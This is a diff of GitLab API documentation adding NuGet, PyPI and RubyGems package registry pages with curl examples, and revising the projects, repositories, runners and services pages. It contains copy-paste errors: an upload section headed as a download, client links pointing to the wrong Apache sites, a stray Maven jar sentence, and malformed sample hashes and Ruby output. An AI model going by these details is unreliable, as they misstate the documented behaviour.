+ --upload-file path/to/mypkg-1.0-SNAPSHOT.pom \
+ --header "Private-Token: <personal_access_token>" \
+ "https://gitlab.example.com/api/v4/projects/1/packages/maven/foo/bar/baz/mypkg-1.0-SNAPSHOT.pom"
+```
diff --git a/doc/api/packages/nuget.md b/doc/api/packages/nuget.md
new file mode 100644
index 00000000000..ed61704770b
--- /dev/null
+++ b/doc/api/packages/nuget.md
@@ -0,0 +1,338 @@
+---
+stage: Package
+group: Package
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about..example/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# NuGet API
+
+This is the API documentation for [NuGet Packages](../../user/packages/nuget_repository/index.md).
+
+WARNING:
+This API is used by the [NuGet package manager client](https://www.nuget.org/)
+and is generally not meant for manual consumption.
+
+For instructions on how to upload and install NuGet packages from the GitLab
+package registry, see the [NuGet package registry documentation](../../user/packages/nuget_repository/index.md).
+
+NOTE:
+These endpoints do not adhere to the standard API authentication methods.
+See the [NuGet package registry documentation](../../user/packages/nuget_repository/index.md)
+for details on which headers and token types are supported.
+
+## Package index
+
+> Introduced in GitLab 12.8.
+
+Returns the index for a given package, which includes a list of available versions:
+
+```plaintext
+GET projects/:id/packages/nuget/download/:package_name/index
+```
+
+| Attribute | Type | Required | Description |
+| -------------- | ------ | -------- | ----------- |
+| `id` | string | yes | The ID or full path of the project. |
+| `package_name` | string | yes | The name of the package. |
+
+```shell
+curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/projects/1/packages/nuget/download/MyNuGetPkg/index"
+```
+
+Example response:
+
+```json
+{
+ "versions": [
+ "1.3.0.17"
+ ]
+}
+```
+
+## Download a package file
+
+> Introduced in GitLab 12.8.
+
+Download a NuGet package file. The [metadata service](#metadata-service) provides this URL.
+
+```plaintext
+GET projects/:id/packages/nuget/download/:package_name/:package_version/:package_filename
+```
+
+| Attribute | Type | Required | Description |
+| ----------------- | ------ | -------- | ----------- |
+| `id` | string | yes | The ID or full path of the project. |
+| `package_name` | string | yes | The name of the package. |
+| `package_version` | string | yes | The version of the package. |
+| `package_filename`| string | yes | The name of the file. |
+
+```shell
+curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/projects/1/packages/nuget/download/MyNuGetPkg/1.3.0.17/mynugetpkg.1.3.0.17.nupkg"
+```
+
+Write the output to a file:
+
+```shell
+curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/projects/1/packages/nuget/download/MyNuGetPkg/1.3.0.17/mynugetpkg.1.3.0.17.nupkg" >> MyNuGetPkg.1.3.0.17.nupkg
+```
+
+This writes the downloaded file to `MyNuGetPkg.1.3.0.17.nupkg` in the current directory.
+
+## Upload a package file
+
+> Introduced in GitLab 12.8.
+
+Download a NuGet package file:
+
+```plaintext
+PUT projects/:id/packages/nuget
+```
+
+| Attribute | Type | Required | Description |
+| ----------------- | ------ | -------- | ----------- |
+| `id` | string | yes | The ID or full path of the project. |
+| `package_name` | string | yes | The name of the package. |
+| `package_version` | string | yes | The version of the package. |
+| `package_filename`| string | yes | The name of the file. |
+
+```shell
+curl --request PUT \
+ --upload-file path/to/mynugetpkg.1.3.0.17.nupkg \
+ --user <username>:<personal_access_token> \
+ "https://gitlab.example.com/api/v4/projects/1/packages/nuget"
+```
+
+## Route prefix
+
+For the remaining routes, there are two sets of identical routes that each make requests in
+different scopes:
+
+- Use the group-level prefix to make requests in a group's scope.
+- Use the project-level prefix to make requests in a single project's scope.
+
+The examples in this document all use the project-level prefix.
+
+### Group-level
+
+```plaintext
+ /groups/:id/-/packages/nuget`
+```
+
+| Attribute | Type | Required | Description |
+| --------- | ------ | -------- | ----------- |
+| `id` | string | yes | The group ID or full group path. |
+
+### Project-level
+
+```plaintext
+ /projects/:id/packages/nuget`
+```
+
+| Attribute | Type | Required | Description |
+| --------- | ------ | -------- | ----------- |
+| `id` | string | yes | The project ID or full project path. |
+
+## Service Index
+
+> Introduced in GitLab 12.6.
+
+Returns a list of available API resources:
+
+```plaintext
+GET <route-prefix>/index
+```
+
+Example Request:
+
+```shell
+curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/projects/1/packages/nuget/index"
+```
+
+Example response:
+
+```json
+{
+ "version": "3.0.0",
+ "resources": [
+ {
+ "@id": "https://gitlab.example.com/api/v4/projects/1/packages/nuget/query",
+ "@type": "SearchQueryService",
+ "comment": "Filter and search for packages by keyword."
+ },
+ {
+ "@id": "https://gitlab.example.com/api/v4/projects/1/packages/nuget/query",
+ "@type": "SearchQueryService/3.0.0-beta",
+ "comment": "Filter and search for packages by keyword."
+ },
+ {
+ "@id": "https://gitlab.example.com/api/v4/projects/1/packages/nuget/query",
+ "@type": "SearchQueryService/3.0.0-rc",
+ "comment": "Filter and search for packages by keyword."
+ },
+ {
+ "@id": "https://gitlab.example.com/api/v4/projects/1/packages/nuget/metadata",
+ "@type": "RegistrationsBaseUrl",
+ "comment": "Get package metadata."
+ },
+ {
+ "@id": "https://gitlab.example.com/api/v4/projects/1/packages/nuget/metadata",
+ "@type": "RegistrationsBaseUrl/3.0.0-beta",
+ "comment": "Get package metadata."
+ },
+ {
+ "@id": "https://gitlab.example.com/api/v4/projects/1/packages/nuget/metadata",
+ "@type": "RegistrationsBaseUrl/3.0.0-rc",
+ "comment": "Get package metadata."
+ },
+ {
+ "@id": "https://gitlab.example.com/api/v4/projects/1/packages/nuget/download",
+ "@type": "PackageBaseAddress/3.0.0",
+ "comment": "Get package content (.nupkg)."
+ },
+ {
+ "@id": "https://gitlab.example.com/api/v4/projects/1/packages/nuget",
+ "@type": "PackagePublish/2.0.0",
+ "comment": "Push and delete (or unlist) packages."
+ }
+ ]
+}
+```
+
+The URLs in the response have the same route prefix used to request them. If you request them with
+the group-level route, the returned URLs contain `/groups/:id/-`.
+
+## Metadata Service
+
+> Introduced in GitLab 12.8.
+
+Returns metadata for a package:
+
+```plaintext
+GET <route-prefix>/metadata/:package_name/index
+```
+
+| Attribute | Type | Required | Description |
+| -------------- | ------ | -------- | ----------- |
+| `package_name` | string | yes | The name of the package. |
+
+```shell
+curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/projects/1/packages/nuget/metadata/MyNuGetPkg/index"
+```
+
+Example response:
+
+```json
+{
+ "count": 1,
+ "items": [
+ {
+ "@id": "https://gitlab.example.com/api/v4/projects/1/packages/nuget/metadata/MyNuGetPkg/1.3.0.17.json",
+ "lower": "1.3.0.17",
+ "upper": "1.3.0.17",
+ "count": 1,
+ "items": [
+ {
+ "@id": "https://gitlab.example.com/api/v4/projects/1/packages/nuget/metadata/MyNuGetPkg/1.3.0.17.json",
+ "packageContent": "https://gitlab.example.com/api/v4/projects/1/packages/nuget/download/MyNuGetPkg/1.3.0.17/helloworld.1.3.0.17.nupkg",
+ "catalogEntry": {
+ "@id": "https://gitlab.example.com/api/v4/projects/1/packages/nuget/metadata/MyNuGetPkg/1.3.0.17.json",
+ "authors": "",
+ "dependencyGroups": [],
+ "id": "MyNuGetPkg",
+ "version": "1.3.0.17",
+ "tags": "",
+ "packageContent": "https://gitlab.example.com/api/v4/projects/1/packages/nuget/download/MyNuGetPkg/1.3.0.17/helloworld.1.3.0.17.nupkg",
+ "summary": ""
+ }
+ }
+ ]
+ }
+ ]
+}
+```
+
+## Version Metadata Service
+
+> Introduced in GitLab 12.8.
+
+Returns metadata for a specific package version:
+
+```plaintext
+GET <route-prefix>/metadata/:package_name/index
+```
+
+| Attribute | Type | Required | Description |
+| -------------- | ------ | -------- | ----------- |
+| `package_name` | string | yes | The name of the package. |
+
+```shell
+curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/projects/1/packages/nuget/metadata/MyNuGetPkg/1.3.0.17"
+```
+
+Example response:
+
+```json
+{
+ "@id": "https://gitlab.example.com/api/v4/projects/1/packages/nuget/metadata/MyNuGetPkg/1.3.0.17.json",
+ "packageContent": "https://gitlab.example.com/api/v4/projects/1/packages/nuget/download/MyNuGetPkg/1.3.0.17/helloworld.1.3.0.17.nupkg",
+ "catalogEntry": {
+ "@id": "https://gitlab.example.com/api/v4/projects/1/packages/nuget/metadata/MyNuGetPkg/1.3.0.17.json",
+ "authors": "",
+ "dependencyGroups": [],
+ "id": "MyNuGetPkg",
+ "version": "1.3.0.17",
+ "tags": "",
+ "packageContent": "https://gitlab.example.com/api/v4/projects/1/packages/nuget/download/MyNuGetPkg/1.3.0.17/helloworld.1.3.0.17.nupkg",
+ "summary": ""
+ }
+}
+```
+
+## Search Service
+
+> Introduced in GitLab 12.8.
+
+Given a query, search for NuGet packages in the repository:
+
+```plaintext
+GET <route-prefix>/query
+```
+
+| Attribute | Type | Required | Description |
+| ------------ | ------- | -------- | ----------- |
+| `q` | string | yes | The search query. |
+| `skip` | integer | no | The number of results to skip. |
+| `take` | integer | no | The number of results to return. |
+| `prerelease` | boolean | no | Include prerelease versions. Defaults to `true` if no value is supplied. |
+
+```shell
+curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/projects/1/packages/nuget/query?q=MyNuGet"
+```
+
+Example response:
+
+```json
+{
+ "totalHits": 1,
+ "data": [
+ {
+ "@type": "Package",
+ "authors": "",
+ "id": "MyNuGetPkg",
+ "title": "MyNuGetPkg",
+ "summary": "",
+ "totalDownloads": 0,
+ "verified": true,
+ "version": "1.3.0.17",
+ "versions": [
+ {
+ "@id": "https://gitlab.example.com/api/v4/projects/1/packages/nuget/metadata/MyNuGetPkg/1.3.0.17.json",
+ "version": "1.3.0.17",
+ "downloads": 0
+ }
+ ],
+ "tags": ""
+ }
+ ]
+}
+```
diff --git a/doc/api/packages/pypi.md b/doc/api/packages/pypi.md
new file mode 100644
index 00000000000..531193e59e2
--- /dev/null
+++ b/doc/api/packages/pypi.md
@@ -0,0 +1,113 @@
+---
+stage: Package
+group: Package
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# PyPI API
+
+This is the API documentation for [PyPI Packages](../../user/packages/pypi_repository/index.md).
+
+WARNING:
+This API is used by the [PyPI package manager client](https://pypi.apache.org/)
+and is generally not meant for manual consumption.
+
+For instructions on how to upload and install PyPI packages from the GitLab
+package registry, see the [PyPI package registry documentation](../../user/packages/pypi_repository/index.md).
+
+NOTE:
+These endpoints do not adhere to the standard API authentication methods.
+See the [PyPI package registry documentation](../../user/packages/pypi_repository/index.md)
+for details on which headers and token types are supported.
+
+## Download a package file
+
+> Introduced in GitLab 12.10.
+
+Download a PyPI package file. The [simple API](#simple-api-entry-point)
+normally supplies this URL.
+
+```plaintext
+GET projects/:id/packages/pypi/files/:sha256/:file_identifier
+```
+
+| Attribute | Type | Required | Description |
+| --------- | ---- | -------- | ----------- |
+| `id` | string | yes | The ID or full path of the project. |
+| `sha256` | string | yes | PyPI package file sha256 check sum. |
+| `file_identifier` | string | yes | The PyPI package file name. |
+
+```shell
+curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/projects/1/packages/pypi/files/5y57017232013c8ac80647f4ca153k3726f6cba62d055cd747844ed95b3c65ff/my.pypi.package-0.0.1.tar.gz"
+```
+
+To write the output to a file:
+
+```shell
+curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/projects/1/packages/pypi/files/5y57017232013c8ac80647f4ca153k3726f6cba62d055cd747844ed95b3c65ff/my.pypi.package-0.0.1.tar.gz" >> my.pypi.package-0.0.1.tar.gz
+```
+
+This writes the downloaded file to `my.pypi.package-0.0.1.tar.gz` in the current directory.
+
+## Simple API entry point
+
+> Introduced in GitLab 12.10.
+
+Returns the package descriptor as an HTML file:
+
+```plaintext
+GET projects/:id/packages/pypi/simple/:package_name
+```
+
+| Attribute | Type | Required | Description |
+| --------- | ---- | -------- | ----------- |
+| `id` | string | yes | The ID or full path of the project. |
+| `package_name` | string | yes | The name of the package. |
+
+```shell
+curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/projects/1/packages/pypi/simple/my.pypi.package"
+```
+
+Example response:
+
+```html
+<!DOCTYPE html>
+<html>
+ <head>
+ <title>Links for my.pypi.package</title>
+ </head>
+ <body>
+ <h1>Links for my.pypi.package</h1>
+ <a href="https://gitlab.example.com/api/v4/projects/1/packages/pypi/files/5y57017232013c8ac80647f4ca153k3726f6cba62d055cd747844ed95b3c65ff/my.pypi.package-0.0.1-py3-none-any.whl#sha256=5y57017232013c8ac80647f4ca153k3726f6cba62d055cd747844ed95b3c65ff" data-requires-python="&gt;=3.6">my.pypi.package-0.0.1-py3-none-any.whl</a><br><a href="https://gitlab.example.com/api/v4/projects/1/packages/pypi/files/9s9w01b0bcd52b709ec052084e33a5517ffca96f7728ddd9f8866a30cdf76f2/my.pypi.package-0.0.1.tar.gz#sha256=9s9w011b0bcd52b709ec052084e33a5517ffca96f7728ddd9f8866a30cdf76f2" data-requires-python="&gt;=3.6">my.pypi.package-0.0.1.tar.gz</a><br>
+ </body>
+</html>
+```
+
+To write the output to a file:
+
+```shell
+curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/projects/1/packages/pypi/simple/my.pypi.package" >> simple.html
+```
+
+This writes the downloaded file to `simple.html` in the current directory.
+
+## Upload a package
+
+> Introduced in GitLab 11.3.
+
+Upload a PyPI package:
+
+```plaintext
+PUT projects/:id/packages/pypi
+```
+
+| Attribute | Type | Required | Description |
+| --------- | ---- | -------- | ----------- |
+| `id` | string | yes | The ID or full path of the project. |
+
+```shell
+curl --request PUT \
+ --upload-file path/to/my.pypi.package-0.0.1.tar.gz \
+ --user <username>:<personal_access_token> \
+ "https://gitlab.example.com/api/v4/projects/1/packages/pypi"
+```
diff --git a/doc/api/packages/rubygems.md b/doc/api/packages/rubygems.md
new file mode 100644
index 00000000000..426548d5ed2
--- /dev/null
+++ b/doc/api/packages/rubygems.md
@@ -0,0 +1,149 @@
+---
+stage: Package
+group: Package
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Ruby gems API
+
+This is the API documentation for [Ruby gems](../../user/packages/rubygems_registry/index.md).
+
+WARNING:
+This API is used by the [Ruby gems and Bundler package manager clients](https://maven.apache.org/)
+and is generally not meant for manual consumption. This API is under development and is not ready
+for production use due to limited functionality.
+
+For instructions on how to upload and install gems from the GitLab
+package registry, see the [Ruby gems registry documentation](../../user/packages/rubygems_registry/index.md).
+
+NOTE:
+These endpoints do not adhere to the standard API authentication methods.
+See the [Ruby gems registry documentation](../../user/packages/rubygems_registry/index.md)
+for details on which headers and token types are supported.
+
+## Enable the Ruby gems API
+
+The Ruby gems API for GitLab is behind a feature flag that is disabled by default. GitLab
+administrators with access to the GitLab Rails console can enable this API for your instance.
+
+To enable it:
+
+```ruby
+Feature.enable(:rubygem_packages)
+```
+
+To disable it:
+
+```ruby
+Feature.disable(:rubygem_packages)
+```
+
+To enable or disable it for specific projects:
+
+```ruby
+Feature.enable(:rubygem_packages, Project.find(1))
+Feature.disable(:rubygem_packages, Project.find(2))
+```
+
+## Download a gem file
+
+> Introduced in GitLab 13.10.
+
+Download a gem:
+
+```plaintext
+GET projects/:id/packages/rubygems/gems/:file_name
+```
+
+| Attribute | Type | Required | Description |
+| ------------ | ------ | -------- | ----------- |
+| `id` | string | yes | The ID or full path of the project. |
+| `file_name` | string | yes | The name of the `.gem` file. |
+
+```shell
+curl --header "Authorization:<personal_access_token>" "https://gitlab.example.com/api/v4/projects/1/packages/rubygems/gems/my_gem-1.0.0.gem"
+```
+
+Write the output to file:
+
+```shell
+curl --header "Authorization:<personal_access_token>" "https://gitlab.example.com/api/v4/projects/1/packages/rubygems/gems/my_gem-1.0.0.gem" >> my_gem-1.0.0.gem
+```
+
+This writes the downloaded file to `my_gem-1.0.0.gem` in the current directory.
+
+## Fetch a list of dependencies
+
+> Introduced in GitLab 13.10.
+
+Fetch a list of dependencies for a list of gems:
+
+```plaintext
+GET projects/:id/packages/rubygems/api/v1/dependencies
+```
+
+| Attribute | Type | Required | Description |
+| --------- | ------ | -------- | ----------- |
+| `id` | string | yes | The ID or full path of the project. |
+| `gems` | string | no | Comma-separated list of gems to fetch dependencies for. |
+
+```shell
+curl --header "Authorization:<personal_access_token>" "https://gitlab.example.com/api/v4/projects/1/packages/rubygems/api/v1/dependencies?gems=my_gem,foo"
+```
+
+This endpoint returns a marshalled array of hashes for all versions of the requested gems. Since the
+response is marshalled, you can store it in a file. If Ruby is installed, you can use the following
+Ruby command to read the response. For this to work, you must
+[set your credentials in `~/.gem/credentials`](../../user/packages/rubygems_registry/index.md#authenticate-with-a-personal-access-token-or-deploy-token):
+
+```shell
+$ ruby -ropen-uri -rpp -e \
+ 'pp Marshal.load(open("https://gitlab.example.com/api/v4/projects/1/packages/rubygems/api/v1/dependencies?gems=my_gem,rails,foo"))'
+
+[{:name=>"my_gem", :number=>"0.0.1", :platform=>"ruby", :dependencies=>[]},
+ {:name=>"my_gem",
+ :number=>"0.0.3",
+ :platform=>"ruby",
+ :dependencies=>
+ [["dependency_1", "~> 1.2.3"],
+ ["dependency_2", "= 3.0.0"],
+ ["dependency_3", ">= 1.0.0"],
+ ["dependency_4", ">= 0"]]},
+ {:name=>"my_gem",
+ :number=>"0.0.2",
+ :platform=>"ruby",
+ :dependencies=>
+ [["dependency_1", "~> 1.2.3"],
+ ["dependency_2", "= 3.0.0"],
+ ["dependency_3", ">= 1.0.0"],
+ ["dependency_4", ">= 0"]]},
+ {:name=>"foo",
+ :number=>"0.0.2",
+ :platform=>"ruby",
+ :dependencies=>
+ ["dependency_2", "= 3.0.0"],
+ ["dependency_4", ">= 0"]]}]
+```
+
+This writes the downloaded file to `mypkg-1.0-SNAPSHOT.jar` in the current directory.
+
+## Upload a gem
+
+> Introduced in GitLab 13.11.
+
+Upload a gem:
+
+```plaintext
+POST projects/:id/packages/rubygems/api/v1/gems
+```
+
+| Attribute | Type | Required | Description |
+| --------- | ------ | -------- | ----------- |
+| `id` | string | yes | The ID or full path of the project. |
+
+```shell
+curl --request POST \
+ --upload-file path/to/my_gem_file.gem \
+ --header "Authorization:<personal_access_token>" \
+ "https://gitlab.example.com/api/v4/projects/1/packages/rubygems/api/v1/gems"
+```
diff --git a/doc/api/project_repository_storage_moves.md b/doc/api/project_repository_storage_moves.md
index a7fe25d03cd..94aeb665c7f 100644
--- a/doc/api/project_repository_storage_moves.md
+++ b/doc/api/project_repository_storage_moves.md
@@ -10,7 +10,7 @@ type: reference
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/31285) in GitLab 13.0.
Project repositories including wiki and design repositories can be moved between storages. This can be useful when
-[migrating to Gitaly Cluster](../administration/gitaly/praefect.md#migrate-existing-repositories-to-gitaly-cluster),
+[migrating to Gitaly Cluster](../administration/gitaly/praefect.md#migrate-to-gitaly-cluster),
for example.
As project repository storage moves are processed, they transition through different states. Values
diff --git a/doc/api/projects.md b/doc/api/projects.md
index 46997a1e8ae..50c1356dfd8 100644
--- a/doc/api/projects.md
+++ b/doc/api/projects.md
@@ -1125,9 +1125,9 @@ POST /projects
| `build_timeout` | integer | **{dotted-circle}** No | The maximum amount of time, in seconds, that a job can run. |
| `builds_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. |
| `ci_config_path` | string | **{dotted-circle}** No | The path to CI configuration file. |
-| `container_expiration_policy_attributes` | hash | **{dotted-circle}** No | Update the image cleanup policy for this project. Accepts: `cadence` (string), `keep_n` (integer), `older_than` (string), `name_regex` (string), `name_regex_delete` (string), `name_regex_keep` (string), `enabled` (boolean). |
+| `container_expiration_policy_attributes` | hash | **{dotted-circle}** No | Update the image cleanup policy for this project. Accepts: `cadence` (string), `keep_n` (integer), `older_than` (string), `name_regex` (string), `name_regex_delete` (string), `name_regex_keep` (string), `enabled` (boolean). Valid values for `cadence` are: `1d` (every day), `7d` (every week), `14d` (every two weeks), `1month` (every month), or `3month` (every quarter). |
| `container_registry_enabled` | boolean | **{dotted-circle}** No | Enable container registry for this project. |
-| `default_branch` | string | **{dotted-circle}** No | `master` by default. |
+| `default_branch` | string | **{dotted-circle}** No | The [default branch](../user/project/repository/branches/default.md) name. |
| `description` | string | **{dotted-circle}** No | Short project description. |
| `emails_disabled` | boolean | **{dotted-circle}** No | Disable email notifications. |
| `external_authorization_classification_label` **(PREMIUM)** | string | **{dotted-circle}** No | The classification label for the project. |
@@ -1148,7 +1148,7 @@ POST /projects
| `namespace_id` | integer | **{dotted-circle}** No | Namespace for the new project (defaults to the current user's namespace). |
| `operations_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. |
| `only_allow_merge_if_all_discussions_are_resolved` | boolean | **{dotted-circle}** No | Set whether merge requests can only be merged when all the discussions are resolved. |
-| `only_allow_merge_if_pipeline_succeeds` | boolean | **{dotted-circle}** No | Set whether merge requests can only be merged with successful jobs. |
+| `only_allow_merge_if_pipeline_succeeds` | boolean | **{dotted-circle}** No | Set whether merge requests can only be merged with successful pipelines. This setting is named [**Pipelines must succeed**](../user/project/merge_requests/merge_when_pipeline_succeeds.md#only-allow-merge-requests-to-be-merged-if-the-pipeline-succeeds) in the project settings. |
| `packages_enabled` | boolean | **{dotted-circle}** No | Enable or disable packages repository feature. |
| `pages_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, `enabled`, or `public`. |
| `requirements_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, `enabled` or `public` |
@@ -1196,7 +1196,7 @@ POST /projects/user/:user_id
| `avatar` | mixed | **{dotted-circle}** No | Image file for avatar of the project. |
| `build_coverage_regex` | string | **{dotted-circle}** No | Test coverage parsing. |
| `build_git_strategy` | string | **{dotted-circle}** No | The Git strategy. Defaults to `fetch`. |
-| `build_timeout` | integer | **{dotted-circle}** No | The maximum amount of time in minutes that a job is able run (in seconds). |
+| `build_timeout` | integer | **{dotted-circle}** No | The maximum amount of time, in seconds, that a job can run. |
| `builds_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. |
| `ci_config_path` | string | **{dotted-circle}** No | The path to CI configuration file. |
| `container_registry_enabled` | boolean | **{dotted-circle}** No | Enable container registry for this project. |
@@ -1269,14 +1269,14 @@ PUT /projects/:id
| `avatar` | mixed | **{dotted-circle}** No | Image file for avatar of the project. |
| `build_coverage_regex` | string | **{dotted-circle}** No | Test coverage parsing. |
| `build_git_strategy` | string | **{dotted-circle}** No | The Git strategy. Defaults to `fetch`. |
-| `build_timeout` | integer | **{dotted-circle}** No | The maximum amount of time in minutes that a job is able run (in seconds). |
+| `build_timeout` | integer | **{dotted-circle}** No | The maximum amount of time, in seconds, that a job can run. |
| `builds_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. |
| `ci_config_path` | string | **{dotted-circle}** No | The path to CI configuration file. |
| `ci_default_git_depth` | integer | **{dotted-circle}** No | Default number of revisions for [shallow cloning](../ci/pipelines/settings.md#git-shallow-clone). |
| `ci_forward_deployment_enabled` | boolean | **{dotted-circle}** No | When a new deployment job starts, [skip older deployment jobs](../ci/pipelines/settings.md#skip-outdated-deployment-jobs) that are still pending |
| `container_expiration_policy_attributes` | hash | **{dotted-circle}** No | Update the image cleanup policy for this project. Accepts: `cadence` (string), `keep_n` (integer), `older_than` (string), `name_regex` (string), `name_regex_delete` (string), `name_regex_keep` (string), `enabled` (boolean). |
| `container_registry_enabled` | boolean | **{dotted-circle}** No | Enable container registry for this project. |
-| `default_branch` | string | **{dotted-circle}** No | `master` by default. |
+| `default_branch` | string | **{dotted-circle}** No | The [default branch](../user/project/repository/branches/default.md) name. |
| `description` | string | **{dotted-circle}** No | Short project description. |
| `emails_disabled` | boolean | **{dotted-circle}** No | Disable email notifications. |
| `external_authorization_classification_label` **(PREMIUM)** | string | **{dotted-circle}** No | The classification label for the project. |
diff --git a/doc/api/repositories.md b/doc/api/repositories.md
index 50dc0803646..857cd3883c8 100644
--- a/doc/api/repositories.md
+++ b/doc/api/repositories.md
@@ -157,12 +157,13 @@ GET /projects/:id/repository/compare
Supported attributes:
-| Attribute | Type | Required | Description |
-| :--------- | :------------- | :------- | :---------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
-| `from` | string | yes | The commit SHA or branch name. |
-| `to` | string | yes | The commit SHA or branch name. |
-| `straight` | boolean | no | Comparison method, `true` for direct comparison between `from` and `to` (`from`..`to`), `false` to compare using merge base (`from`...`to`)'. Default is `false`. |
+| Attribute | Type | Required | Description |
+| :--------- | :------------- | :------- | :---------- |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `from` | string | yes | The commit SHA or branch name. |
+| `to` | string | yes | The commit SHA or branch name. |
+| `from_project_id` | integer | no | The ID to compare from |
+| `straight` | boolean | no | Comparison method, `true` for direct comparison between `from` and `to` (`from`..`to`), `false` to compare using merge base (`from`...`to`)'. Default is `false`. |
```plaintext
GET /projects/:id/repository/compare?from=master&to=feature
@@ -312,8 +313,9 @@ Supported attributes:
If the `from` attribute is unspecified, GitLab uses the Git tag of the last
stable version that came before the version specified in the `version`
-attribute. For this to work, your project must create Git tags for versions
-using one of the following formats:
+attribute. This requires that Git tag names follow a specific format, allowing
+GitLab to extract a version from the tag names. By default, GitLab considers
+tags using these formats:
- `vX.Y.Z`
- `X.Y.Z`
@@ -395,6 +397,18 @@ these as the changelog entries. You can enrich entries with additional data,
such as a link to the merge request or details about the commit author. You can
[customize the format of a changelog](#customize-the-changelog-output) section with a template.
+Trailers can be manually added while editing a commit message. To include a commit
+using the default trailer of `Changelog` and categorize it as a feature, the
+trailer could be added to a commit message like so:
+
+```plaintext
+<Commit message subject>
+
+<Commit message description>
+
+Changelog: feature
+```
+
### Reverted commits
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55537) in GitLab 13.10.
@@ -622,3 +636,51 @@ In an entry, the following variables are available (here `foo.bar` means that
The `author` and `merge_request` objects might not be present if the data
couldn't be determined. For example, when a commit is created without a
corresponding merge request, no merge request is displayed.
+
+### Customize the tag format when extracting versions
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56889) in GitLab 13.11.
+
+GitLab uses a regular expression (using the
+[re2](https://github.com/google/re2/) engine and syntax) to extract a semantic
+version from tag names. The default regular expression is:
+
+```plaintext
+^v?(?P<major>0|[1-9]\d*)\.(?P<minor>0|[1-9]\d*)\.(?P<patch>0|[1-9]\d*)(?:-(?P<pre>(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*)(?:\.(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*))*))?(?:\+(?P<meta>[0-9a-zA-Z-]+(?:\.[0-9a-zA-Z-]+)*))?$
+```
+
+This regular expression is based on the official
+[semantic versioning](https://semver.org/) regular expression, and also includes
+support for tag names that start with the letter `v`.
+
+If your project uses a different format for tags, you can specify a different
+regular expression. The regular expression used _must_ produce the following
+capture groups. If any of these capture groups are missing, the tag is ignored:
+
+- `major`
+- `minor`
+- `patch`
+
+The following capture groups are optional:
+
+- `pre`: If set, the tag is ignored. Ignoring `pre` tags ensures release candidate
+ tags and other pre-release tags are not considered when determining the range of
+ commits to generate a changelog for.
+- `meta`: (Optional) Specifies build metadata.
+
+Using this information, GitLab builds a map of Git tags and their release
+versions. It then determines what the latest tag is, based on the version
+extracted from each tag.
+
+To specify a custom regular expression, use the `tag_regex` setting in your
+changelog configuration YAML file. For example, this pattern matches tag names
+such as `version-1.2.3` but not `version-1.2`.
+
+```yaml
+---
+tag_regex: '^version-(?P<major>\d+)\.(?P<minor>\d+)\.(?P<patch>\d+)$'
+```
+
+To test if your regular expression is working, you can use websites such as
+[regex101](https://regex101.com/). If the regular expression syntax is invalid,
+an error is produced when generating a changelog.
diff --git a/doc/api/repository_files.md b/doc/api/repository_files.md
index 58559fe9a5f..70b804c368e 100644
--- a/doc/api/repository_files.md
+++ b/doc/api/repository_files.md
@@ -168,8 +168,8 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/a
Parameters:
-- `file_path` (required) - URL encoded full path to new file. Ex. lib%2Fclass%2Erb
-- `ref` (required) - The name of branch, tag or commit
+- `file_path` (required) - URL encoded full path to new file, such as lib%2Fclass%2Erb.
+- `ref` (optional) - The name of branch, tag or commit. Default is the `HEAD` of the project.
NOTE:
Like [Get file from repository](repository_files.md#get-file-from-repository) you can use `HEAD` to get just file metadata.
diff --git a/doc/api/runners.md b/doc/api/runners.md
index 1782e236c36..c96ff1b0360 100644
--- a/doc/api/runners.md
+++ b/doc/api/runners.md
@@ -156,6 +156,10 @@ Example response:
Get details of a runner.
+[Maintainer access or higher](../user/permissions.md) is required to get runner details at the project and group level.
+
+Instance-level runner details via this endpoint are available to all signed in users.
+
```plaintext
GET /runners/:id
```
diff --git a/doc/api/services.md b/doc/api/services.md
index 765f459e704..0b840d907f8 100644
--- a/doc/api/services.md
+++ b/doc/api/services.md
@@ -68,14 +68,14 @@ Example response:
## Asana
-Asana - Teamwork without email
+Add commit messages as comments to Asana tasks.
+
+See also the [Asana service documentation](../user/project/integrations/asana.md).
### Create/Edit Asana service
Set Asana service for a project.
-> This service adds commit messages as comments to Asana tasks. Once enabled, commit messages are checked for Asana task URLs (for example, `https://app.asana.com/0/123456/987654`) or task IDs starting with # (for example, `#987654`). Every task ID found gets the commit comment added to it. You can also close a task with a message containing: `fix #123456`. You can find your API Keys here: <https://developers.asana.com/docs/#authentication-basics>.
-
```plaintext
PUT /projects/:id/services/asana
```
@@ -84,8 +84,8 @@ Parameters:
| Parameter | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
